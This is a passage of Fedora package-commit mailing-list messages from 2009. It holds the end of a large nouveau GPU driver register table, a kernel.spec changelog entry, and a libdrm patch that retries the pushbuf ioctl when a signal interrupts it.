++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000011,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0008, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0017, 0x00000000,
++	0x0001, 0x00000004,
++	0x001f, 0x00000000,
++	0x0001, 0x00000011,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x000000cf,
++	0x0007, 0x00000000,
++	0x0001, 0x000000cf,
++	0x0007, 0x00000000,
++	0x0001, 0x000000cf,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0057, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x0000000f,
++	0x003f, 0x00000000,
++	0x0001, 0x00087e67,
++	0x0017, 0x00000000,
++	0x0001, 0x00000011,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x001f, 0x00000000,
++	0x0001, 0x00000004,
++	0x002f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0027, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x001f, 0x00000000,
++	0x0001, 0x00000011,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x000007ff,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x0147, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0004, 0x00000000,
++	0x0001, 0x0000000f,
++	0x0002, 0x00000000,
++	0x0001, 0x0000000f,
++	0x001c, 0x00000000,
++	0x0001, 0x00000001,
++	0x0022, 0x00000000,
++	0x0001, 0x00000020,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000040,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x000f, 0x00000000,
++	0x0001, 0x00000003,
++	0x0027, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00087e67,
++	0x001f, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x004f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0027, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00001001,
++	0x0027, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x0000000f,
++	0x00af, 0x00000000,
++	0x0001, 0x00000001,
++	0x001f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x00087e67,
++	0x001f, 0x00000000,
++	0x0001, 0x00000011,
++	0x0017, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x001f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x002f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0027, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x005f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x0000000f,
++	0x003f, 0x00000000,
++	0x0001, 0x00000011,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x002c, 0x00000000,
++	0x0001, 0x0000000f,
++	0x000a, 0x00000000,
++	0x0001, 0x00000001,
++	0x0037, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0007, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00ffff00,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00ffff00,
++	0x0047, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x30201000,
++	0x0007, 0x00000000,
++	0x0001, 0x70605040,
++	0x0007, 0x00000000,
++	0x0001, 0xb8a89888,
++	0x0007, 0x00000000,
++	0x0001, 0xf8e8d8c8,
++	0x000f, 0x00000000,
++	0x0001, 0x0000001a,
++	0x000f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0127, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x03020100,
++	0x0027, 0x00000000,
++	0x0001, 0x00000004,
++	0x0017, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x00001e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0127, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x03020100,
++	0x0007, 0x00000000,
++	0x0001, 0x00000003,
++	0x0007, 0x00000000,
++	0x0001, 0x00001e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0027, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000003,
++	0x001f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0101, 0x00000000,
++	0x0001, 0x00000021,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x0007, 0x00000000,
++	0x0001, 0x00000100,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x1f45, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000003,
++	0x0632, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000027,
++	0x000f, 0x00000000,
++	0x0001, 0x00000026,
++	0x113a, 0x00000000,
++	0x0001, 0x003fffff,
++	0x0017, 0x00000000,
++	0x0001, 0x00001fff,
++	0x08f6, 0x00000000,
++	0x0001, 0x0000000f,
++	0x0a94, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0127, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0007, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0017, 0x00000000,
++	0x0001, 0x0001fe21,
++	0x0007, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x003f, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0027, 0x00000000,
++	0x0001, 0x00000100,
++	0x0017, 0x00000000,
++	0x0001, 0x00010001,
++	0x000f, 0x00000000,
++	0x0001, 0x00010001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00010001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x036f, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0037, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x0000001a,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x0097, 0x00000000,
++	0x0001, 0x00ffff00,
++	0x0037, 0x00000000,
++	0x0001, 0x0000000f,
++	0x003f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x007f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0017, 0x00000000,
++	0x0001, 0x00000003,
++	0x0017, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x001f, 0x00000000,
++	0x0001, 0x00000005,
++	0x0007, 0x00000000,
++	0x0001, 0x00000052,
++	0x0027, 0x00000000,
++	0x0001, 0x00000001,
++	0x008f, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x00000010,
++	0x0137, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0007, 0x00000000,
++	0x0001, 0x00000005,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x00000003,
++	0x0067, 0x00000000,
++	0x0001, 0x00ffff00,
++	0x0007, 0x00000000,
++	0x0001, 0x0000001a,
++	0x000f, 0x00000000,
++	0x0001, 0x00000003,
++	0x01e7, 0x00000000,
++	0x0001, 0x00000102,
++	0x000f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0047, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x000007ff,
++	0x000f, 0x00000000,
++	0x0001, 0x00000102,
++	0x004f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x6e39, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0007, 0x00000000,
++	0x0001, 0x00000003,
++	0x000f, 0x00000000,
++	0x0001, 0x08100c12,
++	0x000f, 0x00000000,
++	0x0001, 0x00080c14,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00080c14,
++	0x0017, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0007, 0x00000000,
++	0x0001, 0x00000027,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x1e0f, 0x00000000,
++	0x0001, 0x00000001,
++	0x00b7, 0x00000000,
++	0x0001, 0x08100c12,
++	0x003d, 0x00000000,
++	0x0001, 0x08100c12,
++	0x000f, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x80007004,
++	0x0007, 0x00000000,
++	0x0001, 0x04000400,
++	0x0007, 0x00000000,
++	0x0001, 0x000000c0,
++	0x0007, 0x00000000,
++	0x0001, 0x00001000,
++	0x0017, 0x00000000,
++	0x0001, 0x00000e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00001e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x006f, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x80007004,
++	0x0007, 0x00000000,
++	0x0001, 0x04000400,
++	0x0007, 0x00000000,
++	0x0001, 0x000000c0,
++	0x0007, 0x00000000,
++	0x0001, 0x00001000,
++	0x0017, 0x00000000,
++	0x0001, 0x00000e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00001e00,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0067, 0x00000000,
++	0x0001, 0x08100c12,
++	0x000f, 0x00000000,
++	0x0001, 0x0001fe21,
++	0x002f, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00010001,
++	0x0007, 0x00000000,
++	0x0001, 0x00010001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x0001fe21,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0027, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000011,
++	0x0047, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x000f, 0x00000000,
++	0x0001, 0x00000003,
++	0x001f, 0x00000000,
++	0x0001, 0x00000004,
++	0x004f, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x001f, 0x00000000,
++	0x0001, 0x00000004,
++	0x1d1f, 0x00000000,
++	0x0001, 0x00000011,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0000
++};
++
 +static uint32_t nvaa_ctxprog[] = {
 +	0x0070009c, 0x00300000, 0x0044f109, 0x00402d09, 0x0040e551, 0x00400a44,
 +	0x00400a05, 0x00400a0d, 0x0070008e, 0x0040124d, 0x0070009d, 0x0045004d,


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1885
retrieving revision 1.1886
diff -u -p -r1.1885 -r1.1886
--- kernel.spec	27 Oct 2009 04:55:24 -0000	1.1885
+++ kernel.spec	27 Oct 2009 07:54:46 -0000	1.1886
@@ -2092,6 +2092,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com>
+- drm-nouveau.patch: misc fixes, very initial NVA8 work
+
 * Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
 - fix dd command lines
 



From bskeggs at fedoraproject.org  Tue Oct 27 07:55:34 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Tue, 27 Oct 2009 07:55:34 +0000 (UTC)
Subject: rpms/libdrm/F-12 libdrm-nouveau-restart-pushbuf.patch, NONE,
	1.1 libdrm.spec, 1.89, 1.90
Message-ID: <20091027075534.B378911C00E6@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/libdrm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15427

Modified Files:
	libdrm.spec 
Added Files:
	libdrm-nouveau-restart-pushbuf.patch 
Log Message:
* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com> 2.4.15-2
- nouveau: retry pushbuf ioctl if interrupted by signal



libdrm-nouveau-restart-pushbuf.patch:
 nouveau_pushbuf.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE libdrm-nouveau-restart-pushbuf.patch ---
>From 67628aa39dd74807989492af5451a3a5c0232e39 Mon Sep 17 00:00:00 2001
From: Ben Skeggs <bskeggs at redhat.com>
Date: Tue, 20 Oct 2009 12:57:46 +1000
Subject: [PATCH] nouveau: retry if pushbuf ioctl interrupted by signal

Signed-off-by: Ben Skeggs <bskeggs at redhat.com>
---
 libdrm/nouveau/nouveau_pushbuf.c |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/libdrm/nouveau/nouveau_pushbuf.c b/libdrm/nouveau/nouveau_pushbuf.c
index 1192e22..fbcddd7 100644
--- a/libdrm/nouveau/nouveau_pushbuf.c
+++ b/libdrm/nouveau/nouveau_pushbuf.c
@@ -270,6 +270,7 @@ nouveau_pushbuf_flush(struct nouveau_channel *chan, unsigned min)
 		if (nvpb->base.remaining > 2) /* space() will fixup if not */
 			nvpb->base.remaining -= 2;
 
+restart_cal:
 		req.channel = chan->id;
 		req.handle = nvpb->buffer[nvpb->current]->handle;
 		req.offset = nvpb->current_offset * 4;
@@ -284,12 +285,15 @@ nouveau_pushbuf_flush(struct nouveau_channel *chan, unsigned min)
 		ret = drmCommandWriteRead(nvdev->fd,
 					  DRM_NOUVEAU_GEM_PUSHBUF_CALL,
 					  &req, sizeof(req));
+		if (ret == -EAGAIN)
+			goto restart_cal;
 		nvpb->cal_suffix0 = req.suffix0;
 		nvpb->cal_suffix1 = req.suffix1;
 		assert(ret == 0);
 	} else {
 		struct drm_nouveau_gem_pushbuf req;
 
+restart_push:
 		req.channel = chan->id;
 		req.nr_dwords = nvpb->size - nvpb->base.remaining;
 		req.dwords = (uint64_t)(unsigned long)nvpb->pushbuf;
@@ -299,6 +303,8 @@ nouveau_pushbuf_flush(struct nouveau_channel *chan, unsigned min)
 		req.relocs = (uint64_t)(unsigned long)nvpb->relocs;
 		ret = drmCommandWrite(nvdev->fd, DRM_NOUVEAU_GEM_PUSHBUF,
 				      &req, sizeof(req));
+		if (ret == -EAGAIN)
+			goto restart_push;
 		assert(ret == 0);
 	}
 
-- 
1.6.5.1



Index: libdrm.spec
===================================================================
